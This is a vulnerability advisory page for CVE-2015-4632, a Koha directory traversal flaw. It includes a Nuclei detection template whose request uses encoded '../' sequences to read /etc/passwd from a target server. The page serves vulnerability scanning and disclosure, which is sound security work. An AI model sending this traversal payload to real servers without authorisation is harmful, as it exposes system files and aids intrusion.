Koha 3.20.1 - Directory Traversal

🗓️ 29 Oct 2026 02:04:35Reported by ProjectDiscoveryType

Koha 3.20.1 Directory Traversal vulnerability allows remote attackers to read arbitrary files via template_path parameter to svc/virtualshelves/search or svc/members/search. Upgrade to a patched version or apply necessary security patches

Reporter	Title	Published	Views	Family All 16
zdt	Koha 3.20.1 - Multiple XSS and XSRF Vulnerabilities	26 Jun 201500:00	–	zdt
zdt	Koha 3.20.1 - Path Traversal Vulnerability	26 Jun 201500:00	–	zdt
Circl	CVE-2015-4632	19 Oct 201800:23	–	circl
CVE	CVE-2015-4632	18 Oct 201820:00	–	cve
Cvelist	CVE-2015-4632	18 Oct 201820:00	–	cvelist
Exploit DB	Koha 3.20.1 - Directory Traversal	26 Jun 201500:00	–	exploitdb
Exploit DB	Koha 3.20.1 - Multiple Cross-Site Scripting / Cross-Site Request Forgery Vulnerabilities	26 Jun 201500:00	–	exploitdb
exploitpack	Koha 3.20.1 - Directory Traversal	26 Jun 201500:00	–	exploitpack
exploitpack	Koha 3.20.1 - Multiple Cross-Site Scripting Cross-Site Request Forgery Vulnerabilities	26 Jun 201500:00	–	exploitpack
KittySploit	Koha 3.20.1 - Directory Traversal Detection	28 Jul 202611:27	–	kittysploit

Source	Link
exploit-db	www.exploit-db.com/exploits/37388
nvd	www.nvd.nist.gov/vuln/detail/CVE-2015-4632
sba-research	www.sba-research.org/2015/06/24/researchers-of-sba-research-found-several-critical-security-vulnerabilities-in-the-koha-library-software-via-combinatorial-testing/
bugs	www.bugs.koha-community.org/bugzilla3/show_bug.cgi
koha-community	www.koha-community.org/koha-3-14-16-released/

id: CVE-2015-4632

info:
  name: Koha 3.20.1 - Directory Traversal
  author: daffainfo
  severity: high
  description: Koha 3.14.x before 3.14.16, 3.16.x before 3.16.12, 3.18.x before 3.18.08, and 3.20.x before 3.20.1 allow remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the template_path parameter to (1) svc/virtualshelves/search or (2) svc/members/search.
  impact: |
    An attacker can read or modify sensitive files, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Upgrade to a patched version of Koha or apply the necessary security patches to fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/37388
    - https://nvd.nist.gov/vuln/detail/CVE-2015-4632
    - https://www.sba-research.org/2015/06/24/researchers-of-sba-research-found-several-critical-security-vulnerabilities-in-the-koha-library-software-via-combinatorial-testing/
    - https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14408
    - https://koha-community.org/koha-3-14-16-released/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-4632
    cwe-id: CWE-22
    epss-score: 0.51829
    epss-percentile: 0.98946
    cpe: cpe:2.3:a:koha:koha:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: koha
    product: koha
    shodan-query: cpe:"cpe:2.3:a:koha:koha"
  tags: cve2015,cve,lfi,edb,koha,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/koha/svc/virtualshelves/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210086fa8509c524e00e92c125b9c07332224c1ff867864f5faf3e1e5844a3b36de902207ca72e70f96f4e24f4c249f9867c1d3a2e7a84d55b4e9afc255b47d938c2a8ef:922c64590222798bb761d5b6d8e72950

04 Feb 2026 07:00Current

7.6High risk

Vulners AI Score7.6

CVSS 25

CVSS 37.5

EPSS0.51829